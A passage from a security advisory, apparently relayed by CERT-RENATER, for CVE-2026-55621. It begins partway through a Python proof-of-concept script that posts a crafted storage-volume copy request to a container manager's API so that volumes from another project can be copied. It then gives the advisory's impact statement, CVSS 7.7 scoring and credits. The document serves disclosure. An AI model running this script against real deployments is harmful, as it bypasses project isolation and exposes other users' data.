ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.add_argument("--volume-only", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() source = { "type": "copy", "name": args.source_volume, "project": args.source_project, "volume_only": args.volume_only, } if args.source_pool: source["pool"] = args.source_pool body = { "name": args.name, "type": "custom", "content_type": args.content_type, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.target_project}), ) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main()) Impact An attacker can copy instances they don't normally have access to, possibly leading to information disclosure. Severity High 7.7/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Changed Confidentiality High Integrity None Availability None CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N CVE ID CVE-2026-55621 Weaknesses No CWEs Credits @antifob antifob Reporter @stgraber stgraber Coordinator ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================